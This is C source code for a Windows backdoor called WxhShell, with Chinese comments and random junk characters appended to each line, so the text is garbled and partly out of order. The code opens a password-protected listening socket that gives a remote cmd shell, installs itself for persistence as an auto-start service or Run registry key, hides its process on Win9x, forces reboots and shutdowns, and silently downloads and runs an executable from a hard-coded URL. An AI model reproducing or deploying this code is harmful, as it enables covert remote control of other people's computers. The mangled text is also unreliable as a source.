    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^{IF2_h"  
    else { 3($cBC  
    closesocket(wsh); $E j;CN59  
    ExitThread(0); .]0u#fz0y  
    } AO R{Xm  
    break; q$|Wxnz  
    } vSOO[.=  
  // 获取shell  MYD`P2F  
  case 's': { wc%Wy|d  
    CmdShell(wsh); h2b,(  
    closesocket(wsh); 3u)NkS=  
    ExitThread(0); rY~!hZ  
    break; '\ MYC8"  
  } sUCI+)cM3  
  // 退出 >;$C@  
  case 'x': { cIL I%W1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A *$JF>`7  
    CloseIt(wsh); Mj guH5Uy  
    break; JBYmy_Su  
    } %z0;77[1I  
  // 离开 2~*J<iO&l  
  case 'q': { xksd&X:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); . paA0j  
    closesocket(wsh); 1kd\Fq^z$  
    WSACleanup(); ] WsQ=  
    exit(1); ]~Su  
    break; Cj,Yy  
        } d'oh-dj %^  
  } p-6Y5$Y  
  } pdz_qj!Z  
d3m!34ml  
  // 提示信息 hnk,U:7}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LXZ0up-B-  
} :"vW;$1 }  
  } o4%H/|Oq.  
/e2CB"c   
  return;  ^n5rUwS>  
} B#|c$s{  
F1Jd-3ei  
// shell模块句柄 fAMk<?  
int CmdShell(SOCKET sock) #{m~=1%;Ya  
{ _V.MmA  
STARTUPINFO si; IzuYkl}  
ZeroMemory(&si,sizeof(si)); 8(6(,WwP}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <WHu</  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A>?_\<Gp  
PROCESS_INFORMATION ProcessInfo; .qN|.:6a  
char cmdline[]="cmd"; Yq$KYB j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <r@w`G  
  return 0; xF#'+Y  
} H n^)Xw  
!T'`L{Sj  
// 自身启动模式 ag_RKlM3  
int StartFromService(void) sbju3nvk  
{ ;*H@E(g  
typedef struct D?Mj<||  
{ hR g?H  
  DWORD ExitStatus; T4M"s;::1  
  DWORD PebBaseAddress; nQtp4  
  DWORD AffinityMask; v_ U$jjO1  
  DWORD BasePriority; >-%}'iz+  
  ULONG UniqueProcessId; @L9C_a  
  ULONG InheritedFromUniqueProcessId; KF%tF4^+|  
}   PROCESS_BASIC_INFORMATION; ,ce sQ ou  
<-]qU}-  
PROCNTQSIP NtQueryInformationProcess; JNJ96wnX1  
N<$dbqoT|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V,*<E&+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RZ6[+Ygn  
A"V($:>U  
  HANDLE             hProcess; /O^aFIxk  
  PROCESS_BASIC_INFORMATION pbi; '[Ue0r<jn  
c SV`?[a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7K5D,"D;1  
  if(NULL == hInst ) return 0; Fx3CY W  
e #5LBSP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'o!{YLJ fM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _x2i=SFo*$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Mur)'  
o4zX 41W  
  if (!NtQueryInformationProcess) return 0; 9tMaOm  
^%qe&Pe2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :pp@x*uNP  
  if(!hProcess) return 0; ~ \{a<-R  
ki8;:m4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fK0VFN8<I  
JZo18^aD"'  
  CloseHandle(hProcess); ]RvFn~E!s  
x(tf0[g  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Hdn%r<+c  
if(hProcess==NULL) return 0; ev{;}2~V  
S.I3m-  
HMODULE hMod; n&n WY+GEo  
char procName[255]; j6JK4{  
unsigned long cbNeeded; '#oNOU  
 Fhk 8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >iKbn  
 jO5,PTV  
  CloseHandle(hProcess); OxC8xB;`  
UG!528;7  
if(strstr(procName,"services")) return 1; // 以服务启动 , S }  
xpU7ZY  
  return 0; // 注册表启动 ~0 PR>QJ  
} 4ZX6=-u^  
_=\J:r|Y:  
// 主模块  EL$"/ptE  
int StartWxhshell(LPSTR lpCmdLine) \Zgc [F  
{ }g9g]\.!a  
  SOCKET wsl; 2}BQ=%E!'  
BOOL val=TRUE; rP7[{'%r  
  int port=0; :;g7T-_q  
  struct sockaddr_in door; P&=H<^yd  
# h/#h\  
  if(wscfg.ws_autoins) Install(); %aB RL6  
9K6G%  
port=atoi(lpCmdLine); @~+W  
QyEGK  
if(port<=0) port=wscfg.ws_port; %0gcNk"=  
QF74'  
  WSADATA data; S=@bb$4-T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7;i [  
}<9IH%sgF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ] oMtqkiR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eJvNUBDSH  
  door.sin_family = AF_INET;  n$u@v(I  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Bs!F |x(  
  door.sin_port = htons(port); mWP1mc:M(  
uE]Z,`e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <Rb[0E$  
closesocket(wsl); &<>NP?j}  
return 1; XZ&cTjNB&  
} ^aONuG9  
9 \lSN5W  
  if(listen(wsl,2) == INVALID_SOCKET) { ? koIZ  
closesocket(wsl); k0(_0o  
return 1; N+9W2n  
} ?s-Z3{k  
  Wxhshell(wsl); 5{Oq* |  
  WSACleanup(); _pN:p7l(  
*I6W6y;E=  
return 0; )s~szmJoVD  
/n3Qcht  
} u==`]\_@  
A0l-H/l7  
// 以NT服务方式启动 ]F#}8$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1KMSBLx  
{ iRIO~XVo  
DWORD   status = 0; 2e<u/M21>  
  DWORD   specificError = 0xfffffff; ]=Dzr<*v  
A?+0Ce&qL  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `bJ?8~ 8 *  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k E},>+W+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +}eH,  
  serviceStatus.dwWin32ExitCode     = 0; Py~1xf/  
  serviceStatus.dwServiceSpecificExitCode = 0; 5kx-s6 `!  
  serviceStatus.dwCheckPoint       = 0; !x$6wzKa  
  serviceStatus.dwWaitHint       = 0; MfU0*nVF~  
]I[\Io1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H 2JKQm_  
  if (hServiceStatusHandle==0) return; q\n,/#'i~  
kc7,F2=F  
status = GetLastError(); Kk\TW1w3  
  if (status!=NO_ERROR) n|N?[)^k  
{ o FS2*u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; oB$c-!&  
    serviceStatus.dwCheckPoint       = 0; L:_GpZ_  
    serviceStatus.dwWaitHint       = 0; /iw$\F |8  
    serviceStatus.dwWin32ExitCode     = status; 35KRJY#  
    serviceStatus.dwServiceSpecificExitCode = specificError; R^?9 V=Y<T  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hCPyCq]  
    return; HPc~wX  
  } EpU}~vC9C  
)_a;xB` S(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WI6h G  
  serviceStatus.dwCheckPoint       = 0; X8\UTHT& 0  
  serviceStatus.dwWaitHint       = 0; { u %xc"0y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %}}?Y`/W )  
} 0$BX8?Z  
5rH?FQE  
// 处理NT服务事件,比如:启动、停止 sP~;i qk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {%+UQ!]d8  
{ 3%(,f,  
switch(fdwControl) )qua0'y]@  
{ X#<+D1P  
case SERVICE_CONTROL_STOP: +'0V6 \y  
  serviceStatus.dwWin32ExitCode = 0; O)8$aAJ)V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vI20G89E  
  serviceStatus.dwCheckPoint   = 0; ~$jRn(2  
  serviceStatus.dwWaitHint     = 0; V.-cm51I  
  { :SD#>eD0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =eyPo(B  
  } g-4j1yJV<  
  return; JI[{n~bhGD  
case SERVICE_CONTROL_PAUSE: M)"'Q6ck=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @gnLY  
  break; u\q(v D.  
case SERVICE_CONTROL_CONTINUE: O~#A )d6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'm TQ=1  
  break; ):]5WHYg  
case SERVICE_CONTROL_INTERROGATE: vyvb-oz;u  
  break; ~5>k_\ G8  
}; D4O^5?F)|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $U4[a:  
} ) W/_2Q.  
k![oJ.vHD  
// 标准应用程序主函数 \OwCZ!`7i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rtdEIk  
{  Pm"nwm  
 OK(xG3T  
// 获取操作系统版本 T,9pd;k  
OsIsNt=GetOsVer(); AD~_n ^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~~3*o  
:(YFIW`59  
  // 从命令行安装 4YgO1}%G  
  if(strpbrk(lpCmdLine,"iI")) Install(); UCo`l~K)qg  
Z]XjN@j"  
  // 下载执行文件 ~7w LnB  
if(wscfg.ws_downexe) { wlFK#iK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :;jRAjq"  
  WinExec(wscfg.ws_filenam,SW_HIDE); i8A-h6E  
} ;]l`Q,*OXb  
,B#*<_?E5  
if(!OsIsNt) { [ D"5@  
// 如果时win9x,隐藏进程并且设置为注册表启动 uhU'm@JZ  
HideProc(); /5X_gjOL,  
StartWxhshell(lpCmdLine); 9\VV++}s>o  
} >eWORf>7  
else d*dPi^JjC  
  if(StartFromService()) 7l4}b^>/`  
  // 以服务方式启动 n)PqA*  
  StartServiceCtrlDispatcher(DispatchTable); 88VI _<  
else /*(&Dmt>  
  // 普通方式启动 hd W7Qck"  
  StartWxhshell(lpCmdLine); %6la@i  
u s8.nL/  
return 0; i_:#][nWX  
} {^?:-#~h  
n-{.7  
0jt@|3  
dKY#Tl]  
=========================================== ?e\u_3- 9  
PPde!}T$  
p]qz+Z/  
kDG?/j90D  
/!sGO:  
OBf$Z"i  
" a@-bw4S D  
T^ - -:1  
#include <stdio.h> ,<$rSvMfg  
#include <string.h> IP^1ca#<  
#include <windows.h> ;B !p4 hu  
#include <winsock2.h> %{jL+4veoL  
#include <winsvc.h> nG$+9}\UlP  
#include <urlmon.h> ,/"0tP&_;  
<Ira~N  
#pragma comment (lib, "Ws2_32.lib") Z&n#*rQ7[  
#pragma comment (lib, "urlmon.lib") |Y v,zEY)  
l=L(pS3 ~  
#define MAX_USER   100 // 最大客户端连接数 V`rxjv}!  
#define BUF_SOCK   200 // sock buffer e?N3&ezp  
#define KEY_BUFF   255 // 输入 buffer Z4g<Ys*  
==S^IBG  
#define REBOOT     0   // 重启 8gG;A8  
#define SHUTDOWN   1   // 关机 0./Rdf=-1j  
iI;np+uYk  
#define DEF_PORT   5000 // 监听端口 w,j;XPp  
,hZ?]P&  
#define REG_LEN     16   // 注册表键长度 y(O~=S+<  
#define SVC_LEN     80   // NT服务名长度 ;M"[dy`dY  
rH'|$~a  
// 从dll定义API B>[myx  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jhkX U+4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tF\_AvL_8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ANfy+@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iu$Y0.H@  
nd[Ja_h  
// wxhshell配置信息 l5D4 ?`|  
struct WSCFG { Wiyiq )^  
  int ws_port;         // 监听端口 `/9I` <y  
  char ws_passstr[REG_LEN]; // 口令 Cq[Hh#q  
  int ws_autoins;       // 安装标记, 1=yes 0=no pb G5y7  
  char ws_regname[REG_LEN]; // 注册表键名 Gz4LjMQ &  
  char ws_svcname[REG_LEN]; // 服务名 7eW6$$ju,N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C}ASVywc,1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 CdMV(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x`I"%pG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FD[4?\W]#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8U n0<+b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -C8LM ls  
]]y4$ [|L  
}; t#%J=zF{  
`~\8fN  
// default Wxhshell configuration ZG? e%  
struct WSCFG wscfg={DEF_PORT, 5RP5%U  
    "xuhuanlingzhe", d$8K,-M  
    1, u>:j$@56  
    "Wxhshell", +O)ZB$w4  
    "Wxhshell", +??pej]Rp  
            "WxhShell Service", ?O"zp65d(  
    "Wrsky Windows CmdShell Service", ^gkKk&~A5?  
    "Please Input Your Password: ", e7tio!  
  1, b}*q*Bq  
  "http://www.wrsky.com/wxhshell.exe", 5=Y(.}6  
  "Wxhshell.exe" E(&zH;?_  
    }; pD }b$  
wL}X~Xa3i  
// 消息定义模块 ~qX wQ@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )\7Cp-E-W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2`> (LH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; SwaMpNXL  
char *msg_ws_ext="\n\rExit."; or bz`IQc  
char *msg_ws_end="\n\rQuit."; JSx[V<7m  
char *msg_ws_boot="\n\rReboot..."; 7PwH&rI  
char *msg_ws_poff="\n\rShutdown..."; Ocz21gl-?`  
char *msg_ws_down="\n\rSave to "; D[6wMep^n  
*1T~ruNqa  
char *msg_ws_err="\n\rErr!"; V;Q@' <w  
char *msg_ws_ok="\n\rOK!"; Wys$#pJ  
#4!f/dWJp  
char ExeFile[MAX_PATH]; rV2>;FG  
int nUser = 0; foB&H;A4oC  
HANDLE handles[MAX_USER]; m)]|mYjju  
int OsIsNt; Vy^mEsQC+h  
@1U6sQ  
SERVICE_STATUS       serviceStatus; [z6P]eC7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Vt-V'`Y  
eu?P6>urA  
// 函数声明 {Z1-B60P  
int Install(void); Z_7TD)  
int Uninstall(void); Fq`@sM $  
int DownloadFile(char *sURL, SOCKET wsh); 1lJ^$U  
int Boot(int flag); k(v &+v  
void HideProc(void); Do5{t'm3  
int GetOsVer(void); vl?fCO  
int Wxhshell(SOCKET wsl); 54/ZGaonz  
void TalkWithClient(void *cs); j^eM i  
int CmdShell(SOCKET sock); kBY#= e).  
int StartFromService(void); t;:Yf  
int StartWxhshell(LPSTR lpCmdLine); $Rn9*OKr  
vE)d0l"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t{`-G*^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }=.C~f]A  
ca,c+5  
// 数据结构和表定义 ;yCtk ~T%  
SERVICE_TABLE_ENTRY DispatchTable[] = 6zi Mf  
{ n A%8 bZ+  
{wscfg.ws_svcname, NTServiceMain}, XpA|<s  
{NULL, NULL} &)|f|\yh"  
}; lwo,D}  
uKB V`I  
// 自我安装 : qV|rih_Q  
int Install(void) >S S^qjh/  
{ 7|Iq4@IT  
  char svExeFile[MAX_PATH]; E.-2 /'i  
  HKEY key; )}vUYTU1  
  strcpy(svExeFile,ExeFile); tf1Y5P$  
Mko,((>I1  
// 如果是win9x系统,修改注册表设为自启动 |uX&T`7?-  
if(!OsIsNt) { }.=@^-JBA5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AJ6O>Euq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l1%*LyD  
  RegCloseKey(key); I*mBU^<9V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =/4}!B/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T b*Q4:r"  
  RegCloseKey(key); $-6[9d-N  
  return 0; IVeA[qA0  
    } .Np!Qp1*  
  } .TNJuuO  
} Zc*#LsQh.`  
else { ?+$EPaC2  
P(3$XMx  
// 如果是NT以上系统,安装为系统服务 n@S|^cH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^ ,[gO#hgz  
if (schSCManager!=0) %WYveY  
{ A-eCc#I  
  SC_HANDLE schService = CreateService =,&{ &m)  
  ( zOJzQZ~  
  schSCManager, W#wC  
  wscfg.ws_svcname, @v.?z2h  
  wscfg.ws_svcdisp, Bu{%mm(  
  SERVICE_ALL_ACCESS, 3ZvQUH/{W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v{8r46Y~Z)  
  SERVICE_AUTO_START, /)rv Ndn  
  SERVICE_ERROR_NORMAL, a`Q-5* \;z  
  svExeFile, SL_JA  
  NULL, Ppx4#j  
  NULL, Wck WX]};S  
  NULL, pwF])uf*{\  
  NULL, Hq,N OP  
  NULL eEeK ] 8@  
  ); gV'=u z v  
  if (schService!=0) 7'@~TM  
  { wB<cW>6  
  CloseServiceHandle(schService); {P%\& \{F  
  CloseServiceHandle(schSCManager); t~Ic{%bdA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZKi?;ta=  
  strcat(svExeFile,wscfg.ws_svcname); Yof ]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  AZ-JaE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -or)NE  
  RegCloseKey(key); '47E8PIJ|  
  return 0; ff aMF~+  
    } &@qB6!^  
  } V~t; J  
  CloseServiceHandle(schSCManager); c{jTCkzq  
} p#gf^Y5  
} cWI7];/d;  
5)gC<  
return 1; _G%kEt_4  
} jLEO-<)-)  
c2d1'l]n  
// 自我卸载 nNRc@9Lt  
int Uninstall(void) )xTu|V   
{ 5L\Im^  
  HKEY key; @X_)%Y-^O  
vnX~OVz2  
if(!OsIsNt) { 8=mx5Gwz-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Nm3CeU  
  RegDeleteValue(key,wscfg.ws_regname); \r &(l1R  
  RegCloseKey(key); jfZ)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _~!c%_  
  RegDeleteValue(key,wscfg.ws_regname); @rr\Jf""z  
  RegCloseKey(key); hr g'Z5n  
  return 0; ;Udx|1o  
  } al4X}  
} kB-<17  
} m\K1Ex  
else { a%wa3N=v  
''.\DC~K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QVD^p;b  
if (schSCManager!=0) %O>_$ 4q  
{ Q?dzro4C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "}< baz  
  if (schService!=0) 3[%n@i4H|  
  { .?r} 3Ch  
  if(DeleteService(schService)!=0) { N$cAX^~  
  CloseServiceHandle(schService); q)tNH/  
  CloseServiceHandle(schSCManager); S#\Cyn2(t  
  return 0; :A,7D(H|  
  } I&5cUj{GX-  
  CloseServiceHandle(schService); :n oZ p:a  
  } =Unu>p}2V  
  CloseServiceHandle(schSCManager); ,go$ 6  
} VQpwHzh  
} ;GZ'Rb  
zBqNE`  
return 1; t>"|~T$9  
} .kDJuJ^  
NHzVA*f  
// 从指定url下载文件 YKa9]Q  
int DownloadFile(char *sURL, SOCKET wsh) 4o( Q+6m  
{ p$6L_ *$  
  HRESULT hr; EOf*1/Ih  
char seps[]= "/"; qvRs1yr?q  
char *token; S2$r 6T  
char *file; eak+8URo  
char myURL[MAX_PATH]; =n M Aw&`  
char myFILE[MAX_PATH]; l D]?9K29  
=#vU$~a  
strcpy(myURL,sURL); N  gOc2I  
  token=strtok(myURL,seps); Vc "+|^  
  while(token!=NULL) ='HLA-uT  
  { g"D:zK)  
    file=token;  37|EG  
  token=strtok(NULL,seps); 4HyD=6V#  
  } e`% <D[-  
ZZW%6-B  
GetCurrentDirectory(MAX_PATH,myFILE); hj3wxH.}  
strcat(myFILE, "\\"); iD:T KB_r  
strcat(myFILE, file); -M`+hVs?  
  send(wsh,myFILE,strlen(myFILE),0); }M9I]\  
send(wsh,"...",3,0); HH^yruP\}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >):>Pz%U  
  if(hr==S_OK) "^Vfo$q  
return 0; DcZ,a E]  
else UFr5'T  
return 1; v t}A6mF  
}/F9(m  
} ]#J-itO  
|f+fG=a67V  
// 系统电源模块 =M34 HPG  
int Boot(int flag) S!7|vb*ko  
{ \2)~dV:6+  
  HANDLE hToken; 'tq4-11xB  
  TOKEN_PRIVILEGES tkp; AXpyia7nU  
e:=+~F(f  
  if(OsIsNt) { .OD{^Kq2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?/Z5%?6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (APGz,^9#  
    tkp.PrivilegeCount = 1;  6Xt c3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $`Aps7A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2QV|NQSl  
if(flag==REBOOT) { /U"3LX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !Bb^M3iA  
  return 0; ngH_p>  
} !ziO1U  
else { 9 H~OC8R:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6?3\P>`3Y  
  return 0; ?rgtbiSW-  
} -@`!p  
  } f_tC:T4a  
  else { 7gT^ZL  
if(flag==REBOOT) { &fgfCZz'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Tw9?U,]  
  return 0; -&r A<j  
} XE : JL_  
else { {8J+ Y}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,+E"s3NW  
  return 0; -2*Pm1\Z  
} o$,e#q)8  
} GhY MO6Q4  
SR { KL#NC  
return 1; Bl v @u?  
} -<aN$O  
DsGtc<l%  
// win9x进程隐藏模块 -Deqlaf(  
void HideProc(void) <qCfw>%2F  
{ 3[iHe+U(  
~_"/\; 1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UoKXo*W2  
  if ( hKernel != NULL ) Wj31mV  
  { _9"%;:t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nSh}1Arp/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +:m'  
    FreeLibrary(hKernel); ?h'd\.j{  
  } " IC0v9  
<I^Tug\M+  
return; _w49@9?  
} Y+_t50 S  
W= $, \D+  
// 获取操作系统版本 r7n-Xe  
int GetOsVer(void) DbvKpM H  
{ ^EmI;ks  
  OSVERSIONINFO winfo; M\dZxhQ-l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >^ M=/+<c  
  GetVersionEx(&winfo); y4N=v{EbL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <>^otb,e$  
  return 1; lAx^!#~\  
  else ?DKwKt  
  return 0; ?ZT+4U00U  
} ($Ck5`_MK  
H6]z98  
// 客户端句柄模块 wdTjJf r  
int Wxhshell(SOCKET wsl) Ce_E S.  
{ $${9 %qPzb  
  SOCKET wsh; D$G:#z*  
  struct sockaddr_in client; \*6Ld %:h$  
  DWORD myID; X2hyxTOp  
uvj`r5ei  
  while(nUser<MAX_USER) B]5G"4,  
{ ".T&nS[z  
  int nSize=sizeof(client); YCEdt>5PA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <GRrw  
  if(wsh==INVALID_SOCKET) return 1; MLn\ b0  
Y+UM>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SFx|9$hXm  
if(handles[nUser]==0) UBve a(z-#  
  closesocket(wsh); C.oC@P  
else u.L{3gkT  
  nUser++; zQ~8(E]Rf  
  } uP veAK}h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q3-V_~5^/z  
O %?d0K  
  return 0; W4o$J4IX{  
} 0*}%v:uN9  
)Y@mL/_  
// 关闭 socket W: vw.  
void CloseIt(SOCKET wsh) l|p \8=  
{ ?:XbZ"25pJ  
closesocket(wsh); "OO"Ab{t  
nUser--; l9Sx'<  
ExitThread(0); $M 1/74  
} cq \()uF'c  
p8a \> {  
// 客户端请求句柄 1dahVc1W  
void TalkWithClient(void *cs) 2[R{IV8e  
{ i?1g{JW  
Pf?y!d K<  
  SOCKET wsh=(SOCKET)cs; ^&6'FE  
  char pwd[SVC_LEN]; \<K@t=/ 6  
  char cmd[KEY_BUFF]; E||[(l,b  
char chr[1]; c>nXnN  
int i,j; NRgNW1#  
rYYAZ(\8  
  while (nUser < MAX_USER) { j[<}l&  
U$5 lh  
if(wscfg.ws_passstr) { WGeTL`}dh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z}:|is)?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1rmK#ld"=Z  
  //ZeroMemory(pwd,KEY_BUFF); vkQkU,q  
      i=0; c3$h-M(jVJ  
  while(i<SVC_LEN) { V"{+cPBO)  
uNSbAw3  
  // 设置超时 dJ}E,rW}  
  fd_set FdRead; 4PzCm k  
  struct timeval TimeOut; DoA+Bwq@  
  FD_ZERO(&FdRead); }- P ='AyL  
  FD_SET(wsh,&FdRead); /?wH1 ,  
  TimeOut.tv_sec=8; u!VAAX  
  TimeOut.tv_usec=0; Q-g}{mFS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T2^0Q9E?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ) ]x/3J@  
N1O.U"L;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xVn"xk  
  pwd=chr[0]; aOH$}QnS  
  if(chr[0]==0xd || chr[0]==0xa) { 9OnH3  
  pwd=0; %8a886;2  
  break; ~@wM[}ThP$  
  } g:sn/Zug]  
  i++; 6*n<emP  
    } P:gN"f6  
z rg#BXj7  
  // 如果是非法用户,关闭 socket _b8?_Zq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5_MqpCL  
} M{ mdh\  
E8=8OX/{Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TsB"<6@!AA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "/&_B  
|*+f N8  
while(1) { 2HemPth  
8- U1Y  
  ZeroMemory(cmd,KEY_BUFF); Qwm#6{5  
;/Z9M"!u[  
      // 自动支持客户端 telnet标准   hS}d vZa  
  j=0; }I1SC7gY  
  while(j<KEY_BUFF) { RS>;$O_(M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v0yaFP#kG  
  cmd[j]=chr[0]; @rO4BTi>O  
  if(chr[0]==0xa || chr[0]==0xd) { y(!Y N7_A  
  cmd[j]=0; P~5[.6gW  
  break; )Uv lEG']  
  } !5;A.f  
  j++; jeM/8~^4-  
    } [8o!X)  
t)*MLg<C  
  // 下载文件 R\B-cU[,  
  if(strstr(cmd,"http://")) { nf7l}^/UE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); eXqS9`zKr  
  if(DownloadFile(cmd,wsh)) "|6#n34  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U?}>A5H  
  else w,t>M_( N  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KAucSd`  
  } JToc("V  
  else { ;;2Yfn'`9  
